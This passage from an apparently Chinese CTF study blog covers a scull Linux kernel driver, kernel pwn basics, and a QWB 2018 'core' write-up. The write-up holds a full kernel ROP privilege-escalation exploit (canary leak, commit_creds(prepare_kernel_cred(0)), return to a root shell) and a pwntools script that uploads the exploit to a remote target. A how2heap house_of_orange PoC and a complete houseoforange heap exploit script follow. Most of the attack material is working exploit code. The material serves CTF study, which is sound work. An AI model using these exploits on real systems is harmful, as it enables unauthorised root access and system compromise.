if (!qs->next) {
qs->next = kmalloc(sizeof(struct scull_qset), GFP_KERNEL);
if (qs->next == NULL)
return NULL;
memset(qs->next, 0, sizeof(struct scull_qset));
}
qs = qs->next;
continue;
}
return qs;
}

/*
* Data management: read and write.
*/

ssize_t scull_read(struct file *filp, char __user *buf, size_t count,
loff_t *f_pos)
{
struct scull_dev *dev = filp->private_data;
struct scull_qset *dptr; /* the first listitem */
int quantum = dev->quantum, qset = dev->qset;
int itemsize = quantum * qset; /* how many bytes in the listitem */
int item, s_pos, q_pos, rest;
ssize_t retval = 0;

if (mutex_lock_interruptible(&dev->mutex))
return -ERESTARTSYS;
if (*f_pos >= dev->size)
goto out;
if (*f_pos + count > dev->size)
count = dev->size - *f_pos;

/* Find listitem, qset index, and offset in the quantum */
item = (long)*f_pos / itemsize;
rest = (long)*f_pos % itemsize;
s_pos = rest / quantum; q_pos = rest % quantum;

/* follow the list up to the right position (defined elsewhere) */
dptr = scull_follow(dev, item);

if (dptr == NULL || !dptr->data || ! dptr->data[s_pos])
goto out; /* don't fill holes */

/* read only up to the end of this quantum */
if (count > quantum - q_pos)
count = quantum - q_pos;

if (raw_copy_to_user(buf, dptr->data[s_pos] + q_pos, count)) {
retval = -EFAULT;
goto out;
}
*f_pos += count;
retval = count;

out:
mutex_unlock(&dev->mutex);
return retval;
}

ssize_t scull_write(struct file *filp, const char __user *buf, size_t count,
loff_t *f_pos)
{
struct scull_dev *dev = filp->private_data;
struct scull_qset *dptr;
int quantum = dev->quantum, qset = dev->qset;
int itemsize = quantum * qset;
int item, s_pos, q_pos, rest;
ssize_t retval = -ENOMEM; /* Value used in "goto out" statements. */

if (mutex_lock_interruptible(&dev->mutex))
return -ERESTARTSYS;

/* Find the list item, qset index, and offset in the quantum. */
item = (long)*f_pos / itemsize;
rest = (long)*f_pos % itemsize;
s_pos = rest / quantum;
q_pos = rest % quantum;

/* Follow the list up to the right position. */
dptr = scull_follow(dev, item);
if (dptr == NULL)
goto out;
if (!dptr->data) {
dptr->data = kmalloc(qset * sizeof(char *), GFP_KERNEL);
if (!dptr->data)
goto out;
memset(dptr->data, 0, qset * sizeof(char *));
}
if (!dptr->data[s_pos]) {
dptr->data[s_pos] = kmalloc(quantum, GFP_KERNEL);
if (!dptr->data[s_pos])
goto out;
}
/* Write only up to the end of this quantum. */
if (count > quantum - q_pos)
count = quantum - q_pos;

if (raw_copy_from_user(dptr->data[s_pos]+q_pos, buf, count)) {
retval = -EFAULT;
goto out;
}
*f_pos += count;
retval = count;

/* Update the size. */
if (dev->size < *f_pos)
dev->size = *f_pos;

out:
mutex_unlock(&dev->mutex);
return retval;
}

/* Beginning of the scull device implementation. */

/*
* Empty out the scull device; must be called with the device
* mutex held.
*/
int scull_trim(struct scull_dev *dev)
{
struct scull_qset *next, *dptr;
int qset = dev->qset; /* "dev" is not-null */
int i;

for (dptr = dev->data; dptr; dptr = next) { /* all the list items */
if (dptr->data) {
for (i = 0; i < qset; i++)
kfree(dptr->data[i]);
kfree(dptr->data);
dptr->data = NULL;
}
next = dptr->next;
kfree(dptr);
}
dev->size = 0;
dev->quantum = scull_quantum;
dev->qset = scull_qset;
dev->data = NULL;
return 0;
}

int scull_release(struct inode *inode, struct file *filp)
{
printk(KERN_DEBUG "process %i (%s) success release minor(%u) file\n", current->pid, current->comm, iminor(inode));
return 0;
}

/*
* Open and close
*/

int scull_open(struct inode *inode, struct file *filp)
{
struct scull_dev *dev; /* device information */

dev = container_of(inode->i_cdev, struct scull_dev, cdev);
filp->private_data = dev; /* for other methods */

/* If the device was opened write-only, trim it to a length of 0. */
if ( (filp->f_flags & O_ACCMODE) == O_WRONLY) {
if (mutex_lock_interruptible(&dev->mutex))
return -ERESTARTSYS;
scull_trim(dev); /* Ignore errors. */
mutex_unlock(&dev->mutex);
}
printk(KERN_DEBUG "process %i (%s) success open minor(%u) file\n", current->pid, current->comm, iminor(inode));
return 0;
}

/*
* The "extended" operations -- only seek.
*/

loff_t scull_llseek(struct file *filp, loff_t off, int whence)
{
struct scull_dev *dev = filp->private_data;
loff_t newpos;

switch(whence) {
case 0: /* SEEK_SET */
newpos = off;
break;

case 1: /* SEEK_CUR */
newpos = filp->f_pos + off;
break;

case 2: /* SEEK_END */
newpos = dev->size + off;
break;

default: /* can't happen */
return -EINVAL;
}
if (newpos < 0)
return -EINVAL;
filp->f_pos = newpos;
return newpos;
}

struct file_operations scull_fops = {
.owner = THIS_MODULE,
.llseek = scull_llseek,
.read = scull_read,
.write = scull_write,
// .unlocked_ioctl = scull_ioctl,
.open = scull_open,
.release = scull_release,
};

/*
* Set up the char_dev structure for this device.
*/
static void scull_setup_cdev(struct scull_dev *dev, int index)
{
int err, devno = MKDEV(scull_major, scull_minor + index);

cdev_init(&dev->cdev, &scull_fops);
dev->cdev.owner = THIS_MODULE;
dev->cdev.ops = &scull_fops;
err = cdev_add (&dev->cdev, devno, 1);
/* Fail gracefully if need be. */
if (err)
printk(KERN_NOTICE "Error %d adding scull%d", err, index);
else
printk(KERN_INFO "scull: %d add success\n", index);
}


void scull_cleanup_module(void)
{
int i;
dev_t devno = MKDEV(scull_major, scull_minor);

/* Get rid of our char dev entries. */
if (scull_devices) {
for (i = 0; i < scull_nr_devs; i++) {
scull_trim(scull_devices + i);
cdev_del(&scull_devices[i].cdev);
}
kfree(scull_devices);
}

/* cleanup_module is never called if registering failed. */
unregister_chrdev_region(devno, scull_nr_devs);
printk(KERN_INFO "scull: cleanup success\n");
}


int scull_init_module(void)
{
int result, i;
dev_t dev = 0;

/*
* Get a range of minor numbers to work with, asking for a dynamic major
* unless directed otherwise at load time.
*/
if (scull_major) {
dev = MKDEV(scull_major, scull_minor);
result = register_chrdev_region(dev, scull_nr_devs, "scull");
} else {
result = alloc_chrdev_region(&dev, scull_minor, scull_nr_devs, "scull");
scull_major = MAJOR(dev);
}
if (result < 0) {
printk(KERN_WARNING "scull: can't get major %d\n", scull_major);
return result;
} else {
printk(KERN_INFO "scull: get major %d success\n", scull_major);
}

/*
* Allocate the devices. This must be dynamic as the device number can
* be specified at load time.
*/
scull_devices = kmalloc(scull_nr_devs * sizeof(struct scull_dev), GFP_KERNEL);
if (!scull_devices) {
result = -ENOMEM;
goto fail;
}
memset(scull_devices, 0, scull_nr_devs * sizeof(struct scull_dev));

/* Initialize each device. */
for (i = 0; i < scull_nr_devs; i++) {
scull_devices[i].quantum = scull_quantum;
scull_devices[i].qset = scull_qset;
mutex_init(&scull_devices[i].mutex);
scull_setup_cdev(&scull_devices[i], i);
}

return 0; /* succeed */

fail:
scull_cleanup_module();
return result;
}

module_init(scull_init_module);
module_exit(scull_cleanup_module);

makefile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

ifneq ($(KERNELRELEASE),)

obj-m := file_operations.o

else

KERN_DIR ?= /usr/src/linux-headers-$(shell uname -r)/
PWD := $(shell pwd)

default:

$(MAKE) -C $(KERN_DIR) M=$(PWD) modules

endif


clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

IDA界面如下

1584963141639

可以看到这边是一系列的对应的操作函数


驱动提供的接口是/dev/xxx,在Linux下Everything is File,所以对驱动设备的操作其实就是对文件的操作,所以一个驱动就是用来定义打开/读/写/……一个/dev/xxx将会发生啥,驱动提供的API(fops中指定的)也就是一系列的文件操作

struct file_operations scull_fops结构体中实现了的函数就会静态初始化上函数地址,而未实现的函数,值为NULL

结构体中实现的几个call,冒号右侧的函数名是由开发者自己起的,在驱动程序载入内核后,其他用户程序程序就可以借助文件方式像进行系统调用一样调用这些函数实现所需功能。

这里是一些已知的常见对应操作:

1
2
3
4
5
6
Events		User functions		Kernel functions
Load insmod module_init()
Open fopen file_operations: open
Close fread file_operations: read
Write fwrite file_operations: write
Close fclose file_operations: release

这里还有一些知识点,比如驱动分类,主次编号,什么的,我写的这些主要也是参考了这篇文章


之后insmod,此时虽然驱动已经加载成功了(dmesg可以看到驱动主编号是246,分别用四个次编号标记了4个设备,4个是怎么来的看上面代码就知道了)

1584964191239

但是此时并不会在/dev目录下创建设备文件,需要我们手动使用mknod进行设备链接

1584964631604

此时还可以指定设备类型,然后删除就直接使用rm就好了

这里记一下命令:
dmesg可以查看syslog
cat /proc/devices 中查看设备的类型(左边是主设备号,右边的是设备名)
mknod 设备名 设备类型(字符:c,块:b) 主设备号 从设备号

rmmod之后dmesg还可以看到一条scull: cleanup success

kernel pwn基础知识

这篇文章,中有这么一句话

如果驱动在init中执行了proc_create(“core”, 0x1B6LL, 0LL, &core_fops),文件名是“core”,而且在回调中实现了ioctl,那么其他用户程序就可以先fopen这个core获取文件指针fd,然后执行ioctl(fd,<参数>,<参数>)来进行具体操作,其他的fop中的回调接口函数也类似。

然后我就去看了ioctl是什么:


ioctl(input/output control)是一个专用于设备输入输出操作的系统调用,该调用传入一个跟设备有关的请求码,系统调用的功能完全取决于请求码

ioctl是设备驱动程序中对设备的I/O通道进行管理的函数。所谓对I/O通道进行管理,就是对设备的一些特性进行控制,例如串口的传输波特率、马达的转速等等。它的调用个数如下:

1
int ioctl(int fd, ind cmd, …);

其中fd是用户程序打开设备时使用open函数返回的文件标示符,cmd是用户程序对设备的控制命令,至于后面的省略号,那是一些补充参数,一般最多一个,这个参数的有无和cmd的意义相关。

ioctl函数是文件结构中的一个属性分量,就是说如果你的驱动程序提供了对ioctl的支持,用户就可以在用户程序中使用ioctl函数来控制设备的I/O通道。


差不多就是我们与驱动设备交互的一个函数吧,一般前两个参数是fd还有控制码,然后还有一句话

一个进程的在用户态和内核态是对应了完全不搭边儿的两个栈的,用户栈和内核栈既然相互隔离,在系统调用或者调用驱动、内核模块函数时就不能通过栈传参了,而要通过寄存器,像拷贝这样的操作也要借助具体的函数:copy_to_user/copy_from_user

就是说内核栈和用户栈是相互隔离的,然后通过寄存器传参

然后进入kernel态一般有如下情况:

  1. 系统调用

  2. 产生异常

  3. 外设产生中断

    等等

至于提权的话就是这些了:由于这些内核模块运行时的权限是root权限,因此我们将有机会借此拿到root权限的shell,流程上就是C程序exp调用内核模块利用其漏洞提权,只是提权后要“着陆”回用户态拿shell。提权代码是commit_creds(prepare_kernel_cred(0))

进入kernel态进行的操作

保存用户态的各个寄存器,以及执行到代码的位置

从kernel态返回用户态进行的操作

执行swapgs 和 iret 指令

一般的攻击思路

1584965699729


记一下命令:

查看所开保护cat /proc/cpuinfo
查看内核堆块 cat /proc/slabinfo
查看prepare_kernel_cred和commit_creds地址
grep prepare_kernel_cred /proc/kallsyms
grep commit_creds /proc/kallsyms


实操linux kernel ROP

强网杯2018-core

下载下来压缩文件之后看到有这几个文件:

1584966164347

其中对应的文件意思如下(来自星盟公开课的截图):

1584966068272

其中bzImage是打包的内核代码,可以用来寻找gadget

这里写一下师傅们的注意事项:

注意,vmlinux是未经压缩的,然而在core.cpio里面也有一个vmlinux,里面那个是起系统后真正的vmlinux,按理说这俩应该是一样的,单独拿出来是为了你方便分析,但是笔者亲测的时候发现这俩竟然不一样,可能是下载的时候弄错了?如果读者也遇到相同情况,不要用外面那个,一定要用core.cpio里面那个

start.sh中有以下内容

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ #这里开启了kaslr保护
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

我们可以自己再做一份rootstart.sh还有一个root.cpio,主要是用来调试

其中在sh文件最后加上gdb调试的选项:-gdb tcp::1234
还有比如关掉kaslr

新制作的root.cpio中则需要修改以下几点:

  1. cpio包中的init文件,里面有一行poweroff,是到时间自动关机的命令,可以取消掉
  2. 同样是init文件,setsid /bin/cttyhack setuidgid 1000 /bin/sh改成0000,这样就可以以root身份启动了

ps:这里就是整个系统的配置,如果发现有什么配置有问题的话说不定就非预期解了….然后系统初始化操作没有写在这里的话看看/etc/init.d/rcS,有时候初始化配置会写在这里

新制作的rootstart.sh就是这样:

1
2
3
4
5
6
7
8
9
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./root.cpio \ #用新的root.cpio启动
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \ #nokslr
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-gdb tcp::1234 # gdb 调试端口

启动踩坑

然后启动….

但是启动的时候我疯狂踩坑,被坑了很久很久

那个-s就是代表了-gdb tcp::1234所以并不需要这一行….

然后qemu第一个报错是:Initramfs unpacking failed: incorrect cpio method used: use -H newc option,因为我在之前尝试用

cpio -idmv < core.cpio解包的时候就发现有点问题,所以我就用图形化界面的解包工具把cpio解包了之后再用find . | cpio -o --format=newc > ./root.cpio,把它重新打包了一下

接着发现还是起不起来,找了师傅们的博客,就又把上面.sh中的 -m 64改成了 -m 128

还是起不来(跪,报错:Kernel panic - not syncing: Out of memory and no killable processes…

本来以为是自己虚拟机的问题,先跑过去激活了之前忘记激活的swap分区…然后各种操作,最后….

找了半天原因,…..发现原来是师傅们的128也不行,改成 -m 256M跑起来了,也差不多懂了 qemu 的-m到底是干嘛的……

程序分析

啊….总算可以开始正式写题了

这里记一下一般kernel pwn的步骤吧,就照着师傅们写的来

第一步

先看init函数和fop结构体

1584974897309

可见驱动文件创建于proc下的core文件,在我们的用户程序中对ioctl等驱动函数的访问就是通过core文件来进行的

1584974842581

可以看到fop回调中只实现了如图三个回调,因此,虽然ida左侧的函数列表中还有core_read、core_copy_func但是这俩是驱动内部的函数,是不能由用户程序来调用的

ioctl

1584974968510

根据请求码执行相应的函数

core_read

1584975417499

这里的意思大概就是打印了off还有ioctl第三个参数的值

然后进行了一个类似memset的操作,接着从栈buffer的off偏移位置开始拷贝给用户64字节的数据

显然off如果可控的话就leak了canary或者其他一些东西

然而off在我们传入的控制码为0x6677889C时,就可以直接赋值为ioctl的第三个参数

core_copy_func

1584975853772

这个函数的意思就是ioctl的第三个参数如果大于0x3F时,就会detect到溢出然后直接返回,否则直接从name全局变量中拷入p3个字节的数据到v3这个栈buffer中,但是在memcpy时p3被转换成了unsigned __int16,所以我们在p3为负数时可以实现一个比较大的overflow

core_write

再来看注册过的write函数

1584976661640

user的buffer就是通过这个函数传给name,不过这里看不到v5的赋值

1584976821281

在汇编里面可以看到这个赋值是通过rsi来进行的

所以流程就是这样:

  1. 设置off值
  2. 泄露canary
  3. 把rop链写进name变量
  4. 利用无符号整型漏洞进行栈溢出写rop链

ret2user&exp

1584977702149

注意init脚本中拷贝了一份内核函数表到/tmp/kallsyms,可以供我们直接读到内核函数地址,此时读到的符号在开启kaslr下就是读到的kaslr后的地址,可以减去没有开kaslr时的偏移

对于kernel pwn的exp的话先看别人是怎么写的吧,然后自己再慢慢学着写,模板肯定都是差不多的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void save_status();//保存用户状态时寄存器
size_t find_symbols();//查看/tmp/kallsyms找到kaslr下函数的地址
void getpwn();//跑/bin/sh

void core_copy_func(int fd,long long int size);
void core_read(int fd,char* buf);//这两个就是通过ioctl的操作码来和驱动设备交互了

size_t vmlinux_base = 0;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;

int main()
{
save_status();
int fd = open("/proc/core", 2);
if(fd<0)
{
puts("[*] open /proc/core error");
exit(0);
}
find_symbols();
size_t offset=vmlinux_base-raw_vmlinux_base;//raw_vmlinux_base是我们没有开启kaslr时的内核加载基址,这里就是算出aslr的offset
setoff(fd,0x40);//将off的值 设置成canary对应的偏移
char buf[0x40]={0};
core_read(fd,buf);//把canary读到这个buf数组里面去

size_t canary=((size_t *)buf)[0];
printf("[*] canary :%p\n", canary);
size_t rop[0x1000];
int i;
for(i=0;i<10;i++)
{
rop[i]=canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret rdx=&'pop rcx; ret'
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; prepare_kernel_cred(0)返回值放到rdi
//call rdx:pop rcx 把call保存的rip放到rcx去,这一步没什么意义只是为了直接ret到下一条
rop[i++] = commit_creds;//执行commit_creds(rdi)

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;//为了gadget中的popfq

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 此时之前保存的用户态数据就有作用了
rop[i++] = (size_t )getpwn;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd,rop,0x800);//先用write写到name中,因为此设备的write是注册过的,所以可以直接用write写进去
core_copy_func(fd,0xffffffffffff0000 | (0x100));//然后开始core_copy实现栈溢出


return 0;
}
void core_copy_func(int fd,long long int size)
{
puts("[*] going core_copy_func");
ioctl(fd,0x6677889A,size);
}
void getpwn()
{
if(!getuid())
{
system("/bin/sh");

}
else
{
puts("[*] get shell error");
}
exit(0);

}
void core_read(int fd,char* buf)
{
puts("[*] going core_read");
ioctl(fd,0x6677889B,buf);
}
void setoff(int fd,int size)
{
puts("[*] going setoff");
ioctl(fd,0x6677889C,size);
}
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}

}

调试过程

现在有了exp还有思路当然要自己调试的看一看了,具体调试我使用的是pwndgb

先把编译好的exp打包进root.cpio中(解包打包操作前面有了)(编译命令是师傅教我的musl-gcc -static -O2 exp.c -o exp)

然后用./rootstart把qemu起起来,执行 gdb vmlinux

接着set architecture i386:x86-64target remote:1234

这里我调试的时候第一次断在了0xffffffffc00000cc,地址是通过root模式下lsmod显示的驱动base加上IDA中偏移后得来的,所以感觉nokaslr下调试会方便一些(有kaslr时感觉断点都不太好下),断的地方就是在core_read中copy_to_user处

1585008529686

断下来了之后是这样的

栈上的情况大致如下:

1585008988570

这里分别是canary、ebp(这个ebp似乎直接返回到用户栈去了)、返回地址(对应我们驱动中ioctl的地址)

copy_to_user之后就可以获得8*8个栈上的数据,当然就包括canary还有一些地址了

1585009204137

然后从内核态返回用户态似乎是从__do_softirq+328这里返回的

1585009743004

最后断在qmemcpy之后(中间的感觉不用断了…挺好理解的),可以看到栈上的数据已经被改成了各种gadget还有返回时需要的寄存器值

调试的时候log_buf_vmcoreinfo_setup+209好像就是执行prepare_kernel_cred(0)

msg_print_ext_body+227就是执行commit_creds(rdi)

1585010675845

最后执行到最后ret之前就是这样了,返回用户态执行/bin/sh(那个0x400430就是我们的getpwn),就是从ring0直接调用,所以弹给我们的就是root的shell了

至于这个程序的kaslr没有特意去绕是因为我们直接读取了/tmp/kallsyms,从而减去没有kaslr时的内核函数基地址就可以得到加载偏移,不过内核函数加载地址和我们驱动加载地址似乎是被kaslr映射在不同的地方的,需要的情况下得分别leak才行(比如我们上面read时leak了很多内容)

我们这个程序也刚好没有使用到驱动的gadget,所以只用leak内核函数基址就好了

./start脚本去实测的效果就是这样:

1585011340948

ps:这个kaslr似乎后很多位的off都是相同的

这里再给出一个CTF比赛时打远程的脚本(来自林国鹏师傅):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2019 saltedfish <17302010022@fudan.edu.cn>
#
# Distributed under terms of the MIT license.
from pwn import *
import sys
import os

context.log_level = 'debug'
cmd = '$ '

p=remote('192.168.3.255',1234)
def exploit(r):
r.sendlineafter(cmd, 'stty -echo')
os.system('musl-gcc -static -O2 exp.c -o exp')
os.system('gzip -c exp > exp.gz')
r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64') #heredoc
r.sendline((read('exp.gz')).encode('base64'))
r.sendline('EOF')
r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
r.sendlineafter(cmd, 'gunzip exp.gz')
r.sendlineafter(cmd, 'chmod +x ./exp')
r.sendlineafter(cmd, './exp')
r.interactive()

exploit(r)

how2heap - house_of_orange&houseoforange

ubuntu16.04 libc2.23

house_of_orange.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int winner ( char *ptr);

int main()
{
char *p1, *p2;
size_t io_list_all, *top;



p1 = malloc(0x400-0x10);//malloc一个small chunk (size:0x400)


top = (size_t *) ( (char *) p1 - 16 + 0x400);//top=&top_chunk
top[1] = 0xc01;//top_chunk.size=0xc01 这里,topchunk+size后的地址必须是页对齐的,prev_inuse必须要设置


p2 = malloc(0x1000);//malloc一个比top_chunk.size大的chunk,此时0xc01的旧top_chunk就会被放到 unsortedbin中去

io_list_all = top[2] + 0x9a8;//top的fd+0x9a8就等于io_list_all在libc中的地址

top[3] = io_list_all - 0x10;//把top的bk设置成io_list_all-0x10处,用于bck->fd = unsorted_chunks (av)这一任意写,此时写上去的正好是main_arena.top的地址(&main_arena.top)

memcpy( ( char *) top, "/bin/sh\x00", 8);// 将/bin/sh写到top_chunk上面


top[1] = 0x61;//在后面malloc(10)的时候,把chunk放到对应的chain处



_IO_FILE *fp = (_IO_FILE *) top;
/////////////////////////////////////////////////////////////这里就是FSOP那一套
fp->_mode = 0; // top+0xc0


fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28


size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
///////////////////////////////////////////////////////////////////////////////
malloc(10);//malloc(0x10),size不相等时触发任意写,并在任意写之后,由于unsortedbin->bk指向的是io_list_all-0x10,此处的对应的size为0,然后就会触发malloc_printerr
//触发malloc_printerr就会触发_IO_flush_all_lockp,之后通过chain,FSOP成功(这里能通过chain劫持成功的原因也是因为main_arena上对应偏移处的_mode值不为0)
//之后就会去执行我们的winner了,而且关键是IO_FILE对于函数的调用是类似于f(ptr)这样调用的,所以最后执行的时候就是_IO_OVERFLOW(fp, EOF)=>system(&top)
//然而此时top上的字符串是/bin/sh,所以就会getshell

return 0;
}

int winner(char *ptr)
{
system(ptr);
return 0;
}

由于源how2heap上的代码注释太多,要是对具体有疑问的推荐去看一下源代码上的注释,我这个主要是总结用,还有以后参考用

整个过程是一个很巧妙的过程,没有通过free,就是通过top_chunk和unsortedbin attack实现了这个利用,全程也不是特别难理解,我的调试过程就是看了一下到底是哪出错调用的malloc_printerr

houseoforange

程序分析

build

1584105896359

最多只能build 4次,对应的chunk联系如下图所示

1584105957540

其中Orange和price_color_chunk都是固定大小的,而且price_color_chunk是calloc出来的chunk

name是我们自己控制大小的一个chunk,最大可为0x1000

see

1584106502771

基本就是打印我们的name还有price,加上一个我们指定颜色的橘子

upgrade

1584106661589

最多只允许upgrade两次,其中更新时的lenth是我们自己输出的,存在一个溢出,然后就是更新price和color

漏洞分析&Exploit

漏洞点应该说很容易理解,就是upgrade中的overflow,主要就在于我们应该怎么利用。首先程序没有free,所以很多利用都没办法下手了,但是前面刚好学到了house_of_orange,是一个不需要用free即可实现的漏洞,再来看

build中的chunk申请顺序是:malloc(0x10);malloc(len);calloc(8)

然后我们的溢出产生在第二个chunk上,可以溢出到calloc出来的chunk还有topchunk

所以这里先build一个house来修改topchunk的size,和前面house_of_orange.c中一样,设置时保持top+size+0x20页对齐,用于后续利用

设置好之后build第二个house,此时指定name为0x1000大小,即可把原来的topchunk放到unsortedbin

这个时候再进行第三次build,指定name稍微小一点,保证这次build出来的house都是从top中切出来的,然后就可以进行溢出修改、leak的操作了

最后一次build触发FSOP即可……..?是不是还少了点什么,因为我们FSOP的时候需要吧vtable指向一个我们可以控制的地方,但是我还没有leak heap或者PIE啊….这怎么办,后来再查阅wp的时候知道了通过切割largechunk时残留的fd_nextsize和bk_nextsize leak的操作….说实话因为largebin在写题的时候用到的少所以没有想到XD…记下来免得以后不记得

PS:顺带记一下fd_nextsizebk_nextsize会被清空的情况

  1. 从unsortedbin中唯一last remainder中切出来的时候(malloc.c:3494)
  2. 从largebin中切割出的remainder放入unsortedbin时,如果remainder的size仍是属于largebin的,就将这两个ptr清空
    (malloc.c:3645)(我们最后堆地址泄露就是通过从这切出来的large victim chunk)
  3. 一个属于largesize的chunk,free被链入unsortedbin时

完整EXP

有了上面思路之后写WP就很好说了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './houseoforange' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\x00'))
my_u32 = lambda x: u32(x.ljust(4, '\x00'))
global_max_fast=0x3c67f8
codebase = 0x555555554000
def loginfo(what='',address=0):
log.info("\033[1;36m" + what + '----->' + hex(address) + "\033[0m")

# todo here
def build(length,name,price,color):
p.recvuntil('Your choice : ')
p.send('1')
p.recvuntil('of name :')
p.send(str(length))
p.recvuntil('Name :')
p.send(name)
p.recvuntil('Price of Orange:')
p.send(str(price))
p.recvuntil('Color of Orange:')
p.send(str(color))

def upgrade(length,name,price,color):
p.recvuntil('Your choice : ')
p.send('3')
p.recvuntil('of name :')
p.send(str(length))
p.recvuntil('Name:')
p.send(name)
p.recvuntil('Price of Orange:')
p.send(str(price))
p.recvuntil('Color of Orange:')
p.send(str(color))

def see():
p.recvuntil('Your choice : ')
p.send('2')

build(0x10,'a'*0x10,1,0xDDAA)#0x20 0x20 0x20 0x20fa1
payload='a'*0x18+p64(0x21)+p64(0xddaa00000001)+p64(0)*2+p64(0xfa1)
upgrade(0x40,payload,1,0xDDAA)
build(0x1000,'\x00'*0x1000,1,0xDDAA)
build(0x400,'*'*0x8,1,0xDDAA)#when the size is largesize, the split victim chunk will remain the fd_nextsize&bk_nextsize

see()
p.recvuntil("********")
libc_base=my_u64(p.recv(6))-0x3c5188
loginfo("libc_base:",libc_base)

upgrade(0x10,'*'*0x10,1,0xDDAA)
see()
p.recvuntil('****************')
heap_base=my_u64(p.recv(6))-0xc0
loginfo("heap_base",heap_base)

payload='\x00'*0x408+p64(0x21)+p64(0xddaa00000010)+p64(0)+'/bin/sh\x00'+p64(0x61)+p64(0)+p64(libc_base+0x3c5520-0x10)
payload+=(p64(0)+p64(1)).ljust(0xb0,'\x00')+p64(0)
payload=payload.ljust(0xc8,'\x00')+p64(heap_base+0x5c0)+p64(0)+p64(libc.symbols['system']+libc_base)

upgrade(len(payload),payload,1,0xDDAA)

p.recvuntil('Your choice : ')
p.send('1')

p.interactive()
'''libc 2.23 x64
0x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL
